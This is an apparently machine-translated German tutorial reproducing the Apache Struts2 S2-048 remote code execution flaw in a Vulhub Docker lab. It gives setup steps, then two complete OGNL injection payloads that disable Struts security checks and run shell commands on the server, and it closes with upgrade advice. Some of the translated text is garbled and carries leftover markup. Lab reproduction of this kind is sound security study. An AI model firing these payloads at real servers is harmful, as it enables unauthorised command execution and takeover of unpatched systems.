Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So reproduzieren Sie die Schwachstelle Apache Struts2--048 bezüglich Remotecodeausführung

So reproduzieren Sie die Schwachstelle Apache Struts2--048 bezüglich Remotecodeausführung

WBOY
WBOYnach vorne
2023-05-12 19:43:101554Durchsuche

0x00Einführung

Das Struts2-Framework ist ein Framework für die Entwicklung von Java EE-Netzwerkanwendungen Die Open-Source-Webanwendungsarchitektur des Programms. Es nutzt und erweitert die Java-Servlet-API und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige der Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist.

0x01 Schwachstellenübersicht

In der Apache Struts2 2.3.x-Serie sind das Plug-in struts2-struts1-plugin und das struts2-showcase aktiviert Verzeichnis existiert und seine Schwachstelle Die Ursache ist, dass, wenn ActionMessage vom Kunden steuerbare Parameterdaten empfängt, eine unsachgemäße Verarbeitung nach dem anschließenden Spleißen und Übertragen der Daten zur Ausführung willkürlichen Codes führt

0x02 Umfang der Auswirkungen#🎜 🎜##🎜 🎜Die Version mit aktiviertem Struts2-Struts1-Plugin in der #Apache Struts 2.3.x-Serie.

0x03-Umgebungskonstruktion

1 Es ist komplizierter, Apache Struts2 selbst zu erstellen. Diese Schwachstellenumgebung wird mithilfe der Docker-Umgebung erstellt Vulhub.

Download-Adresse: https://github.com/vulhub/vulhub

2 Entpacken Sie nach dem Herunterladen das Verzeichnis s2-048, starten Sie die Schwachstellenumgebung # 🎜🎜## 🎜🎜#cd cd vulhub-master/struts2/s2-048/ //Geben Sie das Verzeichnis ein

docker-compose up -d //Schießstand starten# 🎜🎜#

怎么进行Apache Struts2--048远程代码执行漏洞复现

3 Verwenden Sie Docker PS, um zu überprüfen, ob der Start erfolgreich ist

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. Geben Sie http:your-ip:8080/hello.action in den Browser ein und prüfen Sie, ob die folgende Seitenumgebung eingerichtet wurde

怎么进行Apache Struts2--048远程代码执行漏洞复现#🎜 🎜#

0x04 Schwachstellenwiederherstellung jetzt

怎么进行Apache Struts2--048远程代码执行漏洞复现1. Geben Sie den folgenden Link in den Browser ein, um auf die Schwachstellenseite zuzugreifen

http: //192.168.3.160:8080/integration/saveGangster.action#🎜🎜 #

2. Geben Sie ${1+1} in das erste Formular „Gangstername“ ein. Geben Sie unten ein, was Sie möchten, und klicken Sie auf „Senden“, um den ausgeführten OGNL-Ausdruck anzuzeigen ${1+1} at Gangster Name“ für den folgenden Befehl. Payload-Anweisung ausgeführt

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) :((#container=#context['com.opensymphony .xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil .getExcludedPackageNames().clear()).(#ognlUtil .getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils @toString(@java.lang.Runtime@getRuntime() .exec('id').getInputStream())).(#q)}

怎么进行Apache Struts2--048远程代码执行漏洞复现

#🎜 🎜#

#🎜🎜 #3 Sie können Burp auch verwenden, um das Paket zu erfassen und es in die Anweisung der Nutzlast zu ändern, die durch den Befehl

怎么进行Apache Struts2--048远程代码执行漏洞复现 ausgeführt wird. Hinweis: die Nutzlast muss URL-codiert sein

%{(#dm=@ognl.OgnlContext @DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com. opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com. opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(# ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))) .(#cmd='id').(#iswin=(@java.lang.System@getProperty('os. name').toLowerCase().contains('win'))).(#cmds=(# iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash',' -c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds )).(#p.redirectErrorStream(true)).(#process=#p.start()).(# ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).( @org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(# ros.flush())}怎么进行Apache Struts2--048远程代码执行漏洞复现

4. Es kann mithilfe automatisierter Skripte oder grafischer Tools implementiert werden und wird hier nicht demonstriert.

Tools können auf GitHub gesucht und heruntergeladen werden

0x05 Reparaturvorschläge

1. Es wird empfohlen, ein Upgrade auf die neueste Version durchzuführen

2. Deaktivieren und schließen Sie Struts-2.3 .xappsstruts2-showcase.war-Paket

Das obige ist der detaillierte Inhalt vonSo reproduzieren Sie die Schwachstelle Apache Struts2--048 bezüglich Remotecodeausführung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen